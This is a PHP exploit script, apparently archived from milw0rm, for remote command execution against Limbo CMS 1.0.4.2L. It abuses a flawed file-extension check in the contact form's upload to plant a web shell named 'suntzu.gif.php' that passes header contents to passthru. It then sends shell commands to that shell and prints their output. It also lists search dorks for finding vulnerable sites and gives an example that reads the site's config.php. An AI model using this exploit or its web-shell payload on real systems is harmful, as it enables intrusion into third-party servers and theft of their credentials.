Limbo CMS 1.0.4.2L - 'com_contact' Remote Code Execution

#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
-----------------------------------------------------------------------------
Limbo <= 1.0.4.2L "com_contact" remote commands execution exploit
by rgod [email protected]
site: http://retrogod.altervista.org
dorks: inurl:contact inurl:Itemid inurl:option attachment "Enter your name:"
       intext:"site powered by limbo"
-----------------------------------------------------------------------------
');
if ($argc<3) {
print_r('
-----------------------------------------------------------------------------
Usage: php '.$argv[0].' host path itemid cmd OPTIONS
host:      target server (ip/hostname)
path:      path to Limbo
itemid:    a number, check [*] or [**]
cmd:       a shell command
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' 2.2.2.2 /limbo/ 43 ls -la -P1.1.1.1:80
php '.$argv[0].' 1.1.1.1 / 3 cat ./../../config.php -p81
-----------------------------------------------------------------------------
');
die;
}
/*
explaination:
there are some upload scripts in default installation, check:

[*]  http://target/path_to_limbo/index.php?Itemid=43&option=contact
[**] http://target/path_to_limbo/index.php?Itemid=3&option=contact

and there is a vulnerable function in /components/com_contact/contact.html.php near lines 69-73:

...
function file_ext($file)
{
  $ext = explode(".", $file);
  return strtolower($ext[1]); //[!!!!!!] <-------------------------------------------
}
...

now look at /components/com_contact/contact.php
...
switch ( $task )
{
case "post":
        {
        $abs_dir = $lm_absolute_path."images/contact/";
        $web_dir = $lm_website."images/contact/";
        if (!is_dir($abs_dir)) mkdir($abs_dir);
        $valid_ext = array(
                "jpg",
                "png",
                "gif",
                "doc",
                "xls"
                );

        if ($_FILES['contact_attach']['name']!="")
        {
            $tmp_name = $_FILES['contact_attach']['tmp_name'];
            $name = $_FILES['contact_attach']['name'];
            $ext = file_ext($name); // [!] <-----------------------------------
            if(!in_array($ext,$valid_ext)) // [!!] <-----------------------------------
                { ?>
                    <script language="JavaScript" type="text/javascript">
                     alert("<?php echo _MESSAGE_ATTACH_INVALID; ?>");
                     window.history.go(-1);
                     </script>
                     <?php
                }else{
             @move_uploaded_file($tmp_name, $abs_dir.$name); // [!!!!] <-----------------------------------
             $contact_text.=" ("._MESSAGE_ATTACH.$web_dir.$name.")";
             }
        }
...

but what happen if the attachment filename is like suntzu.gif.php ?

You can upload arbitrary php code, then u launch commands:

http://[target]/[path]/images/contact/suntzu.gif.php?cmd=ls%20-la

*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$itemid=$argv[3];
$cmd="";
$port=80;
$proxy="";
for ($i=4; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$data="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"contact_name\";\r\n\r\n";
$data.="suntzu\r\n";
$data.="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"contact_email\";\r\n\r\n";
$data.="[email protected]\r\n";
$data.="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"contact_subject\";\r\n\r\n";
$data.="hereitissuntzu\r\n";
$data.="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"contact_text\";\r\n\r\n";
$data.="ohshit\r\n";
$data.="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"task\";\r\n\r\n";
$data.="post\r\n";
$data.="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"send\";\r\n\r\n";
$data.="Send\r\n";
$data.="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"contact_attach\"; filename=\"suntzu.gif.php\";\r\n";
$data.="Content-Type: image/gif;\r\n\r\n";
$data.="<?php set_time_limit(0); echo 'my_delim';passthru(\$_SERVER['HTTP_SUNTZU']);die;?>\r\n";
$data.="-----------------------------7d529a1d23092a--\r\n";
$packet ="POST ".$p."index.php?option=contact&Itemid=$itemid HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);

$packet ="GET ".$p."images/contact/suntzu.gif.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="SUNTZU: ".$cmd."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"my_delim"))
{
echo "exploit succeeded ...\r\n";
$temp=explode("my_delim",$html);
die($temp[1]);
}
//if you are here...
echo "exploit failed ...\r\n";
?>

# milw0rm.com [2006-09-15]